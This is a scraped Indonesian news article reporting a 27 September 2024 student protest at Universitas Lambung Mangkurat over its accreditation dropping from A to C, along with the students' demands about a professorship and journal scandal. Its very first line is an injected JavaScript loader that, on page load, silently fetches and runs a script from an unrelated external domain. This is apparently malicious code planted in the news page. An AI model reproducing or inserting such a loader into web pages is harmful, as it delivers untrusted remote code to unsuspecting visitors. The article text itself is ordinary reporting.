(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Ratusan mahasiswa Universitas Lambung Mangkurat (ULM) Banjarmasin menggelar aksi unjuk rasa di Rektorat ULM, Jumat (27/9/2024) sore. Aksi menyikapi akreditasi ULM mengalami turun ‘kasta’ dari A menjadi C.
Mengenakan atribut jas almamater, massa mahasiswa berjalan kaki dari depan gerbang ULM menuju kantor rektorat. Mereka ditemui oleh Rektor Prof Ahmad Alim Bahri, Senat ULM, dan jajaran Rektorat.
Baca juga: ULM Turun ‘Kasta’ A ke C, Mahasiswa Hilang Semangat Rampungkan Skripsi
Di hadapan rektor dan civitas akademika ULM, mahasiswa juga menampikam teatrekal sebagai bentuk sindiran terhadap apa yang tengah terjadi di kampus mereka.
Beberapa mahasiswa ada yang mengenakan topeng bertuliskan “guru besar”. Salah seorang dari mereka membacakan puisi yang berisi keresahan.
Ketua BEM ULM M Syamsu Rizal mengatakan, mahasiswa yang hadir mengikuti aksi didepan Rektorat ULM tidak dalam paksaan melainkan atas kesadaran pribadi.
Rizal juga menegaskan bahwa gerakan mahasiswa bukan untuk menjatuhkan, melainkan untuk membangun dan menyampaikan bahwa mahasiswa masih peduli dengan kampus.
“Kita datang atas kereshan yang sama, kepedulian yang sama, untuk mengembalikan marwah Universitas Lambung Mangkurat,” ungkap Rizal.
Baca juga: Di Depan Mahasiswa, Rektor ULM: Tim Siapkan Reakreditasi dalam Dua Bulan
Ada tiga tuntutan aksi mahasiswa kepada pihak rektorat ULM. Pertama, mahasiswa menuntut kejelasan upaya rektorat untuk mengembalikan akreditasi kampus secara terbuka.
Kedua, mendukung upaya pengusutan tuntutas skandal yang terjadi di ULM. Menuntut nama-nama yang tercantum dalam skandal itu bersikap kooperatif dan terbuka. Juga meminta agar berkomitmen memberantas mafia jurnal yang ada di kampus lambung Mangkurat.
Baca juga: Prihatin Skandal Guru Besar ULM, Mahasiswa Ungkit Kejujuran dan Moralitas Kampus
Tuntutan ketiga, mahasiswa mendesak senat, rektor, serta jajaran civitas akademika ULM untuk memperhatikan normal dan etika dalam pengangkatan guru besar. Menjujung tinggi asas kejujuran, kebenaran, dan keadilan.
Sebelumnya diketahui, Badan Akreditasi Nasional Perguruan Tinggi (BANPT) ULM diberikan waktu dua bulan untuk mengajukan akreditasi ulang hingga tanggal 19 November 2024. (Kanalkalimantan.com/Rizki)
Reporter: rizki
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Telur yang acap kali masuk dalam daftar sembilan bahan pokok (Sembako) belakangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum masyarakat Banjarbaru merayakan pesta demokrasi terjadi di kampanye terbuka pasangan Wali… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilu (Bawaslu) Kabupaten Barito Kuala menggelar rapat koordinasi dalam rangka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Harga sejumlah bahan pangan dan kebutuhan pokok masyarakat merembet naik menjelang akhir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More
This website uses cookies.